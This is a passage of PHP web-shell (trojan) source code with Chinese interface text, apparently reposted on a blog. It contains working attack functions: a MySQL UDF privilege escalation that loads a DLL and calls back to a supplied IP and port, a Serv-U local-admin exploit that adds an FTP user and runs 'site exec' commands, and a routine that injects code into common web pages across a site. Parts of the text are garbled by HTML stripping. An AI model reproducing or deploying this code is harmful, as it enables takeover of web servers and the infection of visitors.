for ($i=13;$i<=24;$i++) {
echo “\n”;
}
} elseif ($a == 2) {
for ($i=25;$i<=40;$i++) {
echo “\n”;
}
}
?>
”.$info[$i][0].””.$info[$i][1].”
”.$info[$i][0].””.$info[$i][1].”
”.$info[$i][0].””.$info[$i][1].”



}//for
echo “”;
}//end phpenv
elseif($_GET[‘action’] == “mysqlfun”){
echo “
”;
if($_POST[‘port’] != “” && $_POST[‘ip’] != “” && $_POST[‘function’] != “” && $_POST[‘host’] != “” && $_POST[‘user’] != “”)#p#分页标题#e#
{
[email protected]_connect($_POST[‘host’],$_POST[‘user’],$_POST[‘pass’]);
if (!$link) {
echo “Could not connect: “.mysql_error().”
”;
}
else{
echo “Connected successfully as “.$_POST[‘user’].”
”;
if(isset($_POST[‘mixpath’])[email protected]_exists($_POST[‘mixpath’])){
echo”Can’t find the “.$_POST[‘mixpath’].”
”;
}
if(isset($_POST[‘mixpath’])){
$dll_path = addslashes($_POST[‘mixpath’]);
$query=”create function “.$_POST[‘function’].” returns integer soname ‘”.$dll_path.”‘;”;
echo (@mysql_query($query, $link)) ? “Success: “.$query.”
” : “Create function faild!
”.mysql_error().”

”;
}
echo”Now Select Function name of “.$_POST[‘function’].”
”;
$query=”select “.$_POST[‘function’].”(‘”.$_POST[‘ip’].”‘,'”.$_POST[‘port’].”‘);”;
echo (@mysql_query($query, $link)) ? “Success: “.$query.”
” : “Select Function name of “.$_POST[‘function’].” faild!
”.mysql_error().”

”;
mysql_close($link);
}
}else{
echo””;
}
echo “
”;
if($nodll==”yes”){
$echodll = ” (?) Mixdll :
(已有function)”;
}else{
$echodll = “此步利用已建function进行工作。 (未建function)”;
}
?>















mysql_function提权(mix.dll)
(Func) 返回端口:
 
返回IP:
”>  function名:
(Mix.dll)


Host : User : PassWd :
#p#分页标题#e#

”;?>
 
Remember,Love is a dieing dream….

}
elseif($_GET[‘action’] == “SUExp”)
{
if($_POST[‘SUPort’] != “” && $_POST[‘SUUser’] != “” && $_POST[‘SUPass’] != “”)
{
echo “
”;
$sendbuf = “”;
$recvbuf = “”;
$domain = “-SETDOMAIN\r\n”.
“-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n”.
“-TZOEnable=0\r\n”.
” TZOKey=\r\n”;
$adduser = “-SETUSERSETUP\r\n”.
“-IP=0.0.0.0\r\n”.
“-PortNo=21\r\n”.
“-User=”.$user.”\r\n”.
“-Password=”.$password.”\r\n”.
“-HomeDir=c:\\\r\n”.
“-LoginMesFile=\r\n”.
“-Disable=0\r\n”.
“-RelPaths=1\r\n”.
“-NeedSecure=0\r\n”.
“-HideHidden=0\r\n”.
“-AlwaysAllowLogin=0\r\n”.
“-ChangePassword=0\r\n”.
“-QuotaEnable=0\r\n”.
“-MaxUsersLoginPerIP=-1\r\n”.
“-SpeedLimitUp=0\r\n”.
“-SpeedLimitDown=0\r\n”.
“-MaxNrUsers=-1\r\n”.
“-IdleTimeOut=600\r\n”.
“-SessionTimeOut=-1\r\n”.
“-Expire=0\r\n”.
“-RatioUp=1\r\n”.
“-RatioDown=1\r\n”.#p#分页标题#e#
“-RatiosCredit=0\r\n”.
“-QuotaCurrent=0\r\n”.
“-QuotaMaximum=0\r\n”.
“-Maintenance=None\r\n”.
“-PasswordType=Regular\r\n”.
“-Ratios=None\r\n”.
” Access=”.$part.”\|RWAMELCDP\r\n”;
$deldomain=”-DELETEDOMAIN\r\n”.
“-IP=0.0.0.0\r\n”.
” PortNo=21\r\n”;
$sock = fsockopen(“127.0.0.1”, $_POST[“SUPort”], &$errno, &$errstr, 10);
$recvbuf = fgets($sock, 1024);
echo “Recv: $recvbuf
”;
$sendbuf = “USER “.$_POST[“SUUser”].”\r\n”;
fputs($sock, $sendbuf, strlen($sendbuf));
echo “Send: $sendbuf
”;
$recvbuf = fgets($sock, 1024);
echo “Recv: $recvbuf
”;
$sendbuf = “PASS “.$_POST[“SUPass”].”\r\n”;
fputs($sock, $sendbuf, strlen($sendbuf));
echo “Send: $sendbuf
”;
$recvbuf = fgets($sock, 1024);
echo “Recv: $recvbuf
”;
$sendbuf = “SITE MAINTENANCE\r\n”;
fputs($sock, $sendbuf, strlen($sendbuf));
echo “Send: $sendbuf
”;
$recvbuf = fgets($sock, 1024);
echo “Recv: $recvbuf
”;
$sendbuf = $domain;
fputs($sock, $sendbuf, strlen($sendbuf));
echo “Send: $sendbuf
”;
$recvbuf = fgets($sock, 1024);
echo “Recv: $recvbuf
”;
$sendbuf = $adduser;
fputs($sock, $sendbuf, strlen($sendbuf));
echo “Send: $sendbuf
”;
$recvbuf = fgets($sock, 1024);
echo “Recv: $recvbuf
”;
echo “**********************************************************
”;
if($job!==”adduser”){//假设不是建立用户
echo “Starting Exploit …
”;
echo “**********************************************************
”;
$exp = fsockopen(“127.0.0.1”, “21”, &$errno, &$errstr, 10);
$recvbuf = fgets($exp, 1024);
echo “Recv: $recvbuf
”;#p#分页标题#e#
$sendbuf = “USER “.$user.”\r\n”;
fputs($exp, $sendbuf, strlen($sendbuf));
echo “Send: $sendbuf
”;
$recvbuf = fgets($exp, 1024);
echo “Recv: $recvbuf
”;
$sendbuf = “PASS “.$password.”\r\n”;
fputs($exp, $sendbuf, strlen($sendbuf));
echo “Send: $sendbuf
”;
$recvbuf = fgets($exp, 1024);
echo “Recv: $recvbuf
”;
$sendbuf = “site exec “.$_POST[“SUCommand”].”\r\n”;
fputs($exp, $sendbuf, strlen($sendbuf));
echo “Send: site exec ”.$_POST[“SUCommand”].”
”;
$recvbuf = fgets($exp, 1024);
echo “Recv: $recvbuf
”;
echo “**********************************************************
”;
echo “Starting Delete Domain …
”;
echo “**********************************************************
”;
$sendbuf = $deldomain;
fputs($sock, $sendbuf, strlen($sendbuf));
echo “Send: $sendbuf
”;
$recvbuf = fgets($sock, 1024);
echo “Recv: $recvbuf
”;
}else{
echo “All done …
”;
echo “**********************************************************
”;
}
echo “
”;
fclose($sock);
if($job!==”adduser”) fclose($exp);
}
?>












通过Serv-U 本地管理员帐号执行命令 & 添加域管理
LocalPort:
 
LocalUser:
 LocalPass:



if($job!==”adduser”){
?>
Command :
(添加用户)(?)#p#分页标题#e#



else{
?>
帐号:

密码:

目录:

(执行CMD)(?)
”>
}
?>
 

}
?>







声明:请勿使用本程序从事非法行为,否则后果自负! debuginfo();
ob_end_flush();
?>



/*======================================================
函数库
======================================================*/

// 登陆入口
function loginpage() {
global $hidden,$alexa;
if($hidden==”saiy”){
?>







if($alexa!==”no”){
?>

密码:



}?>
exit;
}//end loginpage()

// 页面调试信息
function debuginfo() {
global $starttime;
$mtime = explode(‘ ‘, microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] – $starttime), 6);
echo “页面执行了 $totaltime 秒”;
}

// 去掉转义字符
function stripslashes_array(&$array) {
while(list($key,$var) = each($array)) {
if ($key != ‘argc’ && $key != ‘argv’ && (strtoupper($key) != $key || ”.intval($key) == “$key”)) {
if (is_string($var)) {
$array[$key] = stripslashes($var);
}
if (is_array($var)) {
$array[$key] = stripslashes_array($var);#p#分页标题#e#
}
}
}
return $array;
}

// 删除目录
function deltree($deldir) {
[email protected]($deldir);
while($file=$mydir->read()) {
if((is_dir(“$deldir/$file”)) AND ($file!=”.”) AND ($file!=”..”)) {
@chmod(“$deldir/$file”,0777);
deltree(“$deldir/$file”);
}
if (is_file(“$deldir/$file”)) {
@chmod(“$deldir/$file”,0777);
@unlink(“$deldir/$file”);
}
}
$mydir->close();
@chmod(“$deldir”,0777);
return (@rmdir($deldir)) ? 1 : 0;
}

// 判断读写情况
function dir_writeable($dir) {
if (!is_dir($dir)) {
@mkdir($dir, 0777);
}
if(is_dir($dir)) {
if ($fp = @fopen(“$dir/test.txt”, ‘w’)) {
@fclose($fp);
@unlink(“$dir/test.txt”);
$writeable = 1;
} else {
$writeable = 0;
}
}
return $writeable;
}

// 表格行间的背景色替换
function getrowbg() {
global $bgcounter;
if ($bgcounter++%2==0) {
return “firstalt”;
} else {
return “secondalt”;
}
}

// 获取当前的文件系统路径
function getPath($mainpath, $relativepath) {
global $dir;
$mainpath_info = explode(‘/’, $mainpath);
$relativepath_info = explode(‘/’, $relativepath);
$relativepath_info_count = count($relativepath_info);
for ($i=0; $i<$relativepath_info_count; $i++) {
if ($relativepath_info[$i] == ‘.’ || $relativepath_info[$i] == ”) continue;
if ($relativepath_info[$i] == ‘..’) {
$mainpath_info_count = count($mainpath_info);
unset($mainpath_info[$mainpath_info_count-1]);
continue;
}
$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
} //end for
return implode(‘/’, $mainpath_info);
}
function dirtree($path,$mm)
{
$d [email protected](“$path”);
while (false !== ($entry = $d->read())) {
if($entry == “.” || $entry == “..”) continue;
$file=$d->path.”/” .$entry;
if(@is_dir($file))
{
dirtree($file,$mm);
}
else
{
if(@ereg(“default\.|index\.|admin\.|bbs\.|reg\.|help\.|upfile\.|upload\.|cart\.|class\.|login\.|diy\.|no\.|ok\.|del\.|sql\.|user\.|ubb\.|ftp\.|asp\.|top\.|new\.|open\.|name\.|email\.|img\.|images\.|web\.|blog\.|save\.|data\.|add\.|edit\.|main\.|form\.|game\.|about\.|manager\.|book\.|bt\.|mp3\.|vod\.|error\.|copy\.|move\.|down\.|system\.|logo\.|QQ\.|520\.|newup\.|myup\.|play\.|show\.|view\.|ip\.|err404\.|send\.|foot\.|char\.|info\.|list\.|shop\.|err\.|nc\.|ad\.|flash\.|text\.|admin_upfile\.|admin_upload\.|upfile_load\.|upfile_soft\.|upfile_photo\.|upfile_softpic\.|vip\.|505\.|tag\.|search\.|list\.|common\.|show\.|count\.|download\.|php\.”,$file)) {
$mm=stripcslashes( trim( $mm ) );//防止单双引号被加上斜杠
$handle = @fopen (“$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已挂马文件:$file
”;
}
}
}
$d->close();
}
// 检查PHP配置参数
function getphpcfg($varname) {
switch($result = get_cfg_var($varname)) {
case 0:
return “No”;
break;#p#分页标题#e#
case 1:
return “Yes”;
break;
default:
return $result;
break;
}
}

// 检查函数情况
function getfun($funName) {
return (false !== function_exists($funName)) ? “Yes” : “No”;
}

class zip //ZIP压缩类
{

var $datasec, $ctrl_dir = array();
var $eof_ctrl_dir = “\x50\x4b\x05\x06\x00\x00\x00\x00”;
var $old_offset = 0; var $dirs = Array(“.”);
function Add($files,$compact)
{
if(!is_array($files[0])) $files=Array($files);

for($i=0;$files[$i];$i++){
$fn = $files[$i];
if(!in_Array(dirname($fn[0]),$this->dirs))
$this->add_Dir(dirname($fn[0]));
if(basename($fn[0]))
$ret[basename($fn[0])]=$this->add_File($fn[1],$fn[0],$compact);
}
return $ret;
}
function get_file()
{
$data = implode(”, $this -> datasec);
$ctrldir = implode(”, $this -> ctrl_dir);

return $data . $ctrldir . $this -> eof_ctrl_dir .
pack(‘v’, sizeof($this -> ctrl_dir)).pack(‘v’, sizeof($this -> ctrl_dir)).
pack(‘V’, strlen($ctrldir)) . pack(‘V’, strlen($data)) . “\x00\x00”;
}
function ReadCentralDir($zip,$zip_name)
{
$size = filesize($zip_name);
if ($size < 277) $maximum_size = $size;
else $maximum_size=277;
@fseek($zip, $size-$maximum_size);
$pos = ftell($zip); $bytes = 0x00000000;
while ($pos < $size)
{
$byte = @fread($zip, 1); $bytes=($bytes << 8) | Ord($byte);
if ($bytes == 0x504b0506){ $pos++; break; } $pos++;
}
$data=unpack(‘vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size’,fread($zip,18));
if ($data[‘comment_size’] != 0)
$centd[‘comment’] = fread($zip, $data[‘comment_size’]);
else $centd[‘comment’] = ”; $centd[‘entries’] = $data[‘entries’];
$centd[‘disk_entries’] = $data[‘disk_entries’];
$centd[‘offset’] = $data[‘offset’];$centd[‘disk_start’] = $data[‘disk_start’];
$centd[‘size’] = $data[‘size’]; $centd[‘disk’] = $data[‘disk’];
return $centd;
}
function ReadCentralFileHeaders($zip){
$binary_data = fread($zip, 46);
$header = unpack(‘vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset’, $binary_data);
if ($header[‘filename_len’] != 0)
$header[‘filename’] = fread($zip,$header[‘filename_len’]);
else $header[‘filename’] = ”;
if ($header[‘extra_len’] != 0)
$header[‘extra’] = fread($zip, $header[‘extra_len’]);
else $header[‘extra’] = ”;
if ($header[‘comment_len’] != 0)
$header[‘comment’] = fread($zip, $header[‘comment_len’]);
else $header[‘comment’] = ”;
if ($header[‘mdate’] && $header[‘mtime’])
{
$hour = ($header[‘mtime’] & 0xF800) >> 11;
$minute = ($header[‘mtime’] & 0x07E0) >> 5;
$seconde = ($header[‘mtime’] & 0x001F)*2;
$year = (($header[‘mdate’] & 0xFE00) >> 9) + 1980;
$month = ($header[‘mdate’] & 0x01E0) >> 5;
$day = $header[‘mdate’] & 0x001F;
$header[‘mtime’] = mktime($hour, $minute, $seconde, $month, $day, $year);
} else {
$header[‘mtime’] = time();#p#分页标题#e#
}
$header[‘stored_filename’] = $header[‘filename’];
$header[‘status’] = ‘ok’;
if (substr($header[‘filename’], -1) == ‘/’)
$header[‘external’] = 0x41FF0010;
return $header;
}
function add_dir($name)
{
$name = str_replace(“\\”, “/”, $name);
$fr = “\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$fr .= pack(“V”,0).pack(“V”,0).pack(“V”,0).pack(“v”, strlen($name) );
$fr .= pack(“v”, 0 ).$name.pack(“V”, 0).pack(“V”, 0).pack(“V”, 0);
$this -> datasec[] = $fr;
$new_offset = strlen(implode(“”, $this->datasec));
$cdrec = “\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$cdrec .= pack(“V”,0).pack(“V”,0).pack(“V”,0).pack(“v”, strlen($name) );
$cdrec .= pack(“v”, 0 ).pack(“v”, 0 ).pack(“v”, 0 ).pack(“v”, 0 );
$ext = “\xff\xff\xff\xff”;
$cdrec .= pack(“V”, 16 ).pack(“V”, $this -> old_offset ).$name;
$this -> ctrl_dir[] = $cdrec;
$this -> old_offset = $new_offset;
$this -> dirs[] = $name;
}
function get_List($zip_name)
{
$zip = @fopen($zip_name, ‘rb’);
if(!$zip) return(0);
$centd = $this->ReadCentralDir($zip,$zip_name);
@rewind($zip);
@fseek($zip, $centd[‘offset’]);
for ($i=0; $i<$centd[‘entries’]; $i++)
{
$header = $this->ReadCentralFileHeaders($zip);
$header[‘index’] = $i;$info[‘filename’] = $header[‘filename’];
$info[‘stored_filename’] = $header[‘stored_filename’];
$info[‘size’] = $header[‘size’];$info[‘compressed_size’]=$header[‘compressed_size’];
$info[‘crc’] = strtoupper(dechex( $header[‘crc’] ));
$info[‘mtime’] = $header[‘mtime’]; $info[‘comment’] = $header[‘comment’];
$info[‘folder’] = ($header[‘external’]==0x41FF0010||$header[‘external’]==16)?1:0;
$info[‘index’] = $header[‘index’];$info[‘status’] = $header[‘status’];
$ret[]=$info; unset($header);
}
return $ret;
}
function add_File($data, $name, $compact = 1)
{
$name = str_replace(‘\\’, ‘/’, $name);
$dtime = dechex($this->DosTime());
$hexdtime = ‘\x’ . $dtime[6] . $dtime[7].’\x’.$dtime[4] . $dtime[5] . ‘\x’ . $dtime[2] . $dtime[3].’\x’.$dtime[0].$dtime[1];
eval(‘$hexdtime = “‘ . $hexdtime . ‘”;’);
if($compact)
$fr = “\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00”.$hexdtime;
else $fr = “\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00”.$hexdtime;
$unc_len = strlen($data); $crc = crc32($data);
if($compact){
$zdata = gzcompress($data); $c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) – 4), 2);
}else{
$zdata = $data;
}
$c_len=strlen($zdata);
$fr .= pack(‘V’, $crc).pack(‘V’, $c_len).pack(‘V’, $unc_len);
$fr .= pack(‘v’, strlen($name)).pack(‘v’, 0).$name.$zdata;
$fr .= pack(‘V’, $crc).pack(‘V’, $c_len).pack(‘V’, $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode(”, $this->datasec));
if($compact)
$cdrec = “\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00”;
else $cdrec = “\x50\x4b\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00”;#p#分页标题#e#
$cdrec .= $hexdtime.pack(‘V’, $crc).pack(‘V’, $c_len).pack(‘V’, $unc_len);
$cdrec .= pack(‘v’, strlen($name) ).pack(‘v’, 0 ).pack(‘v’, 0 );
$cdrec .= pack(‘v’, 0 ).pack(‘v’, 0 ).pack(‘V’, 32 );
$cdrec .= pack(‘V’, $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
return true;
}

function DosTime() {
$timearray = getdate();
if ($timearray[‘year’] < 1980) {
$timearray[‘year’] = 1980; $timearray[‘mon’] = 1;
$timearray[‘mday’] = 1; $timearray[‘hours’] = 0;
$timearray[‘minutes’] = 0; $timearray[‘seconds’] = 0;
}
return (($timearray[‘year’] – 1980) << 25) | ($timearray[‘mon’] << 21) | ($timearray[‘mday’] << 16) | ($timearray[‘hours’] << 11) |
($timearray[‘minutes’] << 5) | ($timearray[‘seconds’] >> 1);
}
function Extract ( $zn, $to, $index = Array(-1) )
{
$ok = 0; $zip = @fopen($zn,’rb’);
if(!$zip) return(-1);
$cdir = $this->ReadCentralDir($zip,$zn);
$pos_entry = $cdir[‘offset’];

if(!is_array($index)){ $index = array($index); }
for($i=0; $index[$i];$i++){
if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir[‘entries’])
return(-1);
}

for ($i=0; $i<$cdir[‘entries’]; $i++)
{
@fseek($zip, $pos_entry);
$header = $this->ReadCentralFileHeaders($zip);
$header[‘index’] = $i; $pos_entry = ftell($zip);
@rewind($zip); fseek($zip, $header[‘offset’]);
if(in_array(“-1”,$index)||in_array($i,$index))
$stat[$header[‘filename’]]=$this->ExtractFile($header, $to, $zip);

}
fclose($zip);
return $stat;
}
function ExtractFile($header,$to,$zip)
{
$header = $this->readfileheader($zip);

if(substr($to,-1)!=”/”) $to.=”/”;
if([email protected]_dir($to)) @mkdir($to,0777);

$pth = explode(“/”,dirname($header[‘filename’]));
for($i=0;isset($pth[$i]);$i++){
if(!$pth[$i]) continue;$pthss.=$pth[$i].”/”;
if(!is_dir($to.$pthss)) @mkdir($to.$pthss,0777);
}
if (!($header[‘external’]==0x41FF0010)&&!($header[‘external’]==16))
{
if ($header[‘compression’]==0)
{
$fp = @fopen($to.$header[‘filename’], ‘wb’);
if(!$fp) return(-1);
$size = $header[‘compressed_size’];

while ($size != 0)
{
$read_size = ($size < 2048 ? $size : 2048);
$buffer = fread($zip, $read_size);
$binary_data = pack(‘a’.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
fclose($fp);
touch($to.$header[‘filename’], $header[‘mtime’]);

}else{
$fp = @fopen($to.$header[‘filename’].’.gz’,’wb’);
if(!$fp) return(-1);
$binary_data = pack(‘va1a1Va1a1’, 0x8b1f, Chr($header[‘compression’]),
Chr(0x00), time(), Chr(0x00), Chr(3));

fwrite($fp, $binary_data, 10);
$size = $header[‘compressed_size’];

while ($size != 0)
{
$read_size = ($size < 1024 ? $size : 1024);
$buffer = fread($zip, $read_size);#p#分页标题#e#
$binary_data = pack(‘a’.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}

$binary_data = pack(‘VV’, $header[‘crc’], $header[‘size’]);
fwrite($fp, $binary_data,8); fclose($fp);

$gzp = @gzopen($to.$header[‘filename’].’.gz’,’rb’) or die(“Cette archive est compress閑”);
if(!$gzp) return(-2);
$fp = @fopen($to.$header[‘filename’],’wb’);
if(!$fp) return(-1);
$size = $header[‘size’];

while ($size != 0)
{
$read_size = ($size < 2048 ? $size : 2048);
$buffer = gzread($gzp, $read_size);
$binary_data = pack(‘a’.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
fclose($fp); gzclose($gzp);

touch($to.$header[‘filename’], $header[‘mtime’]);
@unlink($to.$header[‘filename’].’.gz’);

}}
return true;
}
function ReadFileHeader($zip)
{
$binary_data = fread($zip, 30);
$data = unpack(‘vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len’, $binary_data);

$header[‘filename’] = fread($zip, $data[‘filename_len’]);
if ($data[‘extra_len’] != 0) {
$header[‘extra’] = fread($zip, $data[‘extra_len’]);
} else { $header[‘extra’] = ”; }

$header[‘compression’] = $data[‘compression’];$header[‘size’] = $data[‘size’];
$header[‘compressed_size’] = $data[‘compressed_size’];
$header[‘crc’] = $data[‘crc’]; $header[‘flag’] = $data[‘flag’];
$header[‘mdate’] = $data[‘mdate’];$header[‘mtime’] = $data[‘mtime’];

if ($header[‘mdate’] && $header[‘mtime’]){
$hour=($header[‘mtime’]&0xF800)>>11;$minute=($header[‘mtime’]&0x07E0)>>5;
$seconde=($header[‘mtime’]&0x001F)*2;$year=(($header[‘mdate’]&0xFE00)>>9)+1980;
$month=($header[‘mdate’]&0x01E0)>>5;$day=$header[‘mdate’]&0x001F;
$header[‘mtime’] = mktime($hour, $minute, $seconde, $month, $day, $year);
}else{$header[‘mtime’] = time();}

$header[‘stored_filename’] = $header[‘filename’];
$header[‘status’] = “ok”;
return $header;
}
}

function addziparray($dir2) //添加ZIP文件
{
global $dir,$zipfilearray;
@$dirs=opendir($dir.”/”.$dir2);
while (@$file=readdir($dirs)) {
if(!is_dir(“$dir/$dir2/$file”)) {
$zipfilearray[]=”$dir2/$file”;
}
elseif($file!=”.”&&$file!=”..”) {
addziparray(“$dir2/$file”);
}
}
@closedir($dirs);
}

// 备份数据库
function sqldumptable($table, $fp=0) {
$tabledump = “DROP TABLE IF EXISTS $table;\n”;
$tabledump .= “CREATE TABLE $table (\n”;

$firstfield=1;

$fields = mysql_query(“SHOW FIELDS FROM $table”);
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= “,\n”;
} else {
$firstfield=0;
}
$tabledump .= ” $field[Field] $field[Type]”;
if (!empty($field[“Default”])) {
$tabledump .= ” DEFAULT ‘$field[Default]'”;
}
if ($field[‘Null’] != “YES”) {#p#分页标题#e#
$tabledump .= ” NOT NULL”;
}
if ($field[‘Extra’] != “”) {
$tabledump .= ” $field[Extra]”;
}
}
mysql_free_result($fields);

$keys = mysql_query(“SHOW KEYS FROM $table”);
while ($key = mysql_fetch_array($keys)) {
$kname=$key[‘Key_name’];
if ($kname != “PRIMARY” and $key[‘Non_unique’] == 0) {
$kname=”UNIQUE|$kname”;
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key[‘Column_name’];
}
mysql_free_result($keys);

while(list($kname, $columns) = @each($index)) {
$tabledump .= “,\n”;
$colnames=implode($columns,”,”);

if ($kname == “PRIMARY”) {
$tabledump .= ” PRIMARY KEY ($colnames)”;
} else {
if (substr($kname,0,6) == “UNIQUE”) {
$kname=substr($kname,7);
}
$tabledump .= ” KEY $kname ($colnames)”;
}
}

$tabledump .= “\n);\n\n”;
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}

$rows = mysql_query(“SELECT * FROM $table”);
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = “INSERT INTO $table VALUES(“;

$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=”, “;
} else {
$firstfield=0;
}

if (!isset($row[$fieldcounter])) {
$tabledump .= “NULL”;
} else {
$tabledump .= “‘”.mysql_escape_string($row[$fieldcounter]).”‘”;
}
}

$tabledump .= “);\n”;

if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
mysql_free_result($rows);
}

class FORMS {
function tableheader() {
echo “

\n”;
}

function headerform($arg=array()) {
global $dir;
if ($arg[enctype]){
$enctype=”enctype=\”$arg[enctype]\””;
} else {
$enctype=””;
}
if (!isset($arg[method])) {
$arg[method] = “POST”;
}
if (!isset($arg[action])) {
$arg[action] = ”;
}
echo ”
\n”;
echo ”

\n”;
echo ” \n”;
echo ” \n”;
echo ” \n”;
}

function tdheader($title) {
global $dir;
echo ”

\n”;
echo ” \n”;#p#分页标题#e#
echo ” \n”;
}

function tdbody($content,$align=’center’,$bgcolor=’2′,$height=”,$extra=”,$colspan=”) {
if ($bgcolor==’2′) {
$css=”secondalt”;
} elseif ($bgcolor==’1′) {
$css=”firstalt”;
} else {
$css=$bgcolor;
}
$height = empty($height) ? “” : ” height=”.$height;
$colspan = empty($colspan) ? “” : ” colspan=”.$colspan;
echo ”

\n”;
echo ” \n”;
echo ” \n”;
}

function tablefooter() {
echo “

”.$arg[content].”
”.$title.” [返回]
”.$content.”
\n”;
}

function formheader($action=”,$title,$target=”) {
global $dir;
$target = empty($target) ? “” : ” target=\””.$target.”\””;
echo ”

\n”;
echo ” \n”;
echo ” ”.$title.” [返回]\n”;
echo ” \n”;
}

function makehidden($name,$value=”){
echo “\n”;
}

function makeinput($name,$value=”,$extra=”,$type=’text’,$size=’30’,$css=’input’){
$css = ($css == ‘input’) ? ” class=\”input\”” : “”;
$input = “\n”;
return $input;
}

function maketextarea($name,$content=”,$cols=’100′,$rows=’20’,$extra=”){
$textarea = “\n”;
return $textarea;
}

function formfooter($over=”,$height=”){
$height = empty($height) ? “” : ” height=\””.$height.”\””;
echo ” \n”;
echo ” \n”;
echo ” \n”;
echo ”

\n”;
echo $end = empty($over) ? “” : “\n”;
}

function makeselect($arg = array()){
if ($arg[multiple]==1) {
$multiple = ” multiple”;
if ($arg[size]>0) {
$size = “size=$arg[size]”;
}
}
if ($arg[css]==0) {
$css = “class=\”input\””;
}
$select = “\n”;
return $select;
}
}

function find($path) //查找关键词
{
global $oldkey,$type,$type2,$endline,$beline;
if(is_dir(“$path”)){
$tempdir=opendir(“$path”);
while($f=readdir($tempdir)){ if($f==”.”||$f==”..”)continue; find(“$path/$f”);}
closedir($tempdir);
}else{
if(filesize(“$path”)){
$fp=fopen(“$path”,”r”);
$msg=fread($fp, filesize(“$path”));
fclose($fp);
if(strpos($msg, $oldkey) !== false) {
$dir = dirname($path);
$file = basename($path);
if($type==”list”){
$mymsg = explode(“\n”,$msg);
$long = count($mymsg);
$tmp = explode($oldkey,$msg);
$tmp = explode(“\n”,$tmp[0]);
$first = count($tmp);
$end = “[“.$first.”/”.$long.”]”;
}
if($type2==”getpath”){
$get = explode($oldkey,$msg);
$get = strlen($get[0]);
if(isset($beline)){
$get = $get-$beline;
}
$getpath = htmlspecialchars(substr($msg, $get, $endline));
$getpath = “title = \””.$getpath.”\””;
}
echo “找到:$dir/$file |view+edit | $end
”;
}
}
}
}

——————————————————————————————————


开心洋葱 , 版权所有丨如未注明 , 均为原创丨未经授权请勿修改 , 转载请注明2011年最新php木马程序
喜欢 (0)
[开心洋葱]
分享 (0)
关于作者:
开心洋葱,开心洋葱头,水墨

您必须 登录 才能发表评论!

……
加载中……